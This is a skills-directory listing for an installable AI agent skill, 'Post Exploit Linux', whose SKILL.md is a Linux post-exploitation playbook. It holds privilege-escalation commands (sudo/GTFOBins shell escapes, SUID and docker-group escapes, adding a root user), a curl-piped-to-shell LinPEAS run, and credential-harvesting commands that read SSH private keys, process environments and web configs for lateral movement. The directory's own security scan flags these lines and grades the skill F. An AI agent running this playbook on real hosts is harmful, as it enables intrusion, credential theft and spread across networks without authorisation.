Skip to content
Back to skills

Post Exploit Linux

FSecurity

Linux post-exploit: privesc enumeration, creds, persistence

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythongophpshellbashsqldockergitapidatabase

Works with

  • api

Security analysis

F0/100
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys
  • highCreates or modifies cron jobs for persistent execution
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro scans all 4 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill post-exploit-linux --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Post Exploit Linux?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Post Exploit Linux
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-post-exploit-linux/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-post-exploit-linux)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: post-exploit-linux
description: "Linux post-exploit: privesc enumeration, creds, persistence"
metadata:
  tags: "post-exploit,linux,privesc,credential,privesc,post-exploitation,credentials,suid,sudo,cron,capabilities,docker,kernel,snap,GTFOBins,linpeas,linux privesc,linux post-exploitation"
  category: "postexploit"
  mitre_attack: "T1003,T1053.003,T1547.006,T1070"
---

# Linux Post-Exploitation & Privilege-Escalation Methodology

The complete plan of action after getting a shell: information gathering → privesc → credential harvesting → sensitive data → lateral-movement prep.

## ⛔ Deep-dive references

Content loads on demand — SKILL.md gives you the decision tree and quick commands, the references give you the full payloads:

- All exploitation commands for sudo/SUID/capabilities/cron hijacking, GTFOBins cheat sheet, environment-variable hijacking, sudo CVEs → [references/privesc-techniques.md](references/privesc-techniques.md)
- Docker/LXD group escalation, NFS, kernel exploits (PwnKit/DirtyPipe/DirtyCow), snap-confine escalation (CVE-2026-3888), writable files, process credentials → [references/advanced-privesc.md](references/advanced-privesc.md)
- Full credential-harvesting paths (config files/history/SSH keys/databases/process memory) → [references/credential-harvest.md](references/credential-harvest.md)

---

## Phase 0: 30-second quick privesc assessment

Right after getting a shell, run these commands to quickly check for an instant-win opportunity:

```bash
id && sudo -l 2>/dev/null                          # identity + sudo rights (80% of privesc starts here)
find / -perm -4000 -type f 2>/dev/null | head -20   # SUID files
getcap -r / 2>/dev/null                              # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null           # file permissions
```

**Instant-win signals**:
- `sudo -l` has a `NOPASSWD` entry → very likely escalatable (check GTFOBins)
- A non-standard SUID file (not ping/su/sudo/mount and the like) → likely exploitable
- `/etc/passwd` is writable → add a root user directly

If there's no obvious way in here, continue to Phase 1 for full information gathering.

## Phase 1: System information gathering

```bash
# identity and permissions
id && whoami
uname -a && cat /etc/os-release      # kernel version + distro (for kernel-exploit matching)

# network
ip addr && ip route && ss -tlnp      # interfaces, routes, listening ports
cat /etc/resolv.conf && arp -a && cat /etc/hosts

# processes and environment
ps aux                                # any interesting root-run processes
env | grep -iE 'pass|key|secret|token'  # environment variable leaks
```

**Key judgments**:
- Multiple NICs = possibly a pivot box (dual-subnet pivot)
- DNS pointing to an internal IP = a domain environment
- A large ARP table = an active subnet, worth scanning
- A root process's command line may expose a password/path

## Phase 2: Privesc decision tree (ordered by success rate)

```
current privileges?
├─ already root → skip to Phase 3 credential collection
└─ not root → check in order:
    │
    ├─ 1. sudo -l
    │   ├─ (ALL) NOPASSWD: ALL → sudo su (straight to root)
    │   ├─ specific commands → look up the privesc method on GTFOBins
    │   ├─ env_keep+=LD_PRELOAD → shared-library injection privesc
    │   └─ no sudo → next
    │
    ├─ 2. SUID files
    │   find / -perm -4000 -type f 2>/dev/null
    │   ├─ non-standard SUID → GTFOBins / strings analysis / PATH hijack
    │   └─ pkexec → PwnKit (CVE-2021-4034)
    │
    ├─ 3. Capabilities
    │   getcap -r / 2>/dev/null
    │   └─ cap_setuid → python3/perl privesc
    │   └─ cap_dac_read_search → read /etc/shadow
    │
    ├─ 4. cron jobs
    │   cat /etc/crontab && ls -la /etc/cron.d/
    │   ├─ root cron runs a writable script → replace its content
    │   ├─ cron PATH contains a writable dir → same-name script hijack
    │   └─ cron uses wildcards (tar *) → argument injection
    │
    ├─ 5. writable files/directories
    │   ├─ /etc/passwd writable → add a root user
    │   ├─ /etc/shadow readable → crack with john/hashcat
    │   ├─ systemd .service writable → change ExecStart
    │   └─ root process library/config writable → hijack
    │
    ├─ 6. special groups
    │   ├─ docker group → docker run -v /:/host alpine chroot /host bash
    │   ├─ lxd/lxc group → container escape mounting the host
    │   ├─ disk group → debugfs reads any file
    │   └─ adm group → read logs for credentials
    │
    ├─ 7. NFS
    │   cat /etc/exports → no_root_squash → remotely write a SUID file
    │
    └─ 8. kernel exploits (last resort, crash risk)
        uname -r → match CVEs
        PwnKit (any pkexec) | DirtyPipe (5.8-5.16) | DirtyCow (2.6-4.8) | OverlayFS (Ubuntu)
        snap-confine+tmpfiles (Ubuntu>=24.04, CVE-2026-3888, needs 10-30 days)
```

→ Full exploitation commands for each step → [references/privesc-techniques.md](references/privesc-techniques.md) + [references/advanced-privesc.md](references/advanced-privesc.md)

### sudo-privesc Top 10 cheat sheet

| Command | Escalation method |
|------|----------|
| vim/vi | `:!/bin/bash` |
| find | `find / -exec /bin/bash \;` |
| python3 | `import os; os.system("/bin/bash")` |
| awk | `awk 'BEGIN {system("/bin/bash")}'` |
| env | `env /bin/bash` |
| less/more | `!/bin/bash` |
| tar | `--checkpoint-action=exec=/bin/bash` |
| nmap | `--interactive` → `!sh` (old versions) / `--script` |
| bash/sh | just `sudo bash` |
| systemctl/journalctl | enter the pager → `!/bin/bash` |

For the full list, see [GTFOBins](https://gtfobins.github.io/)

### Automated enumeration

When a manual check turns up no obvious path, run the automated tools for a sweep — they check far more edge cases:

```bash
# LinPEAS (most complete, recommended)
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./linenum.sh -t

# linux-exploit-suggester (kernel exploit matching)
./linux-exploit-suggester.sh
```

For how to deliver tools to the target → load the `tool-delivery` skill

## Phase 3: Credential harvesting

After escalating (or even without escalating), harvest as many credentials as possible — they are extremely valuable for lateral movement:

```bash
# web app configuration (database passwords, API keys)
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# history files (people type passwords on the command line)
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'

# SSH keys (the golden key for lateral movement)
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/

# database credentials
cat /etc/mysql/debian.cnf 2>/dev/null

# credentials in processes/environment
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
```

→ More credential locations → [references/credential-harvest.md](references/credential-harvest.md)

## Phase 4: Sensitive-data search

```bash
# flags (CTF/labs)
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null

# backups/databases/key files
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
```

## Phase 5: Lateral-movement preparation

```bash
ip route && arp -a && cat /etc/hosts     # discover other segments and hosts
cat ~/.ssh/known_hosts 2>/dev/null       # which machines SSH connected to
```

Harvested credentials + discovered subnets → load the `internal-recon` skill to scan the internal network → load the `lateral-movement` skill to move laterally

Files in this skill

  • SKILL.md7.8 KB
  • references/advanced-privesc.md8 KB
  • references/credential-harvest.md2.7 KB
  • references/privesc-techniques.md5.7 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.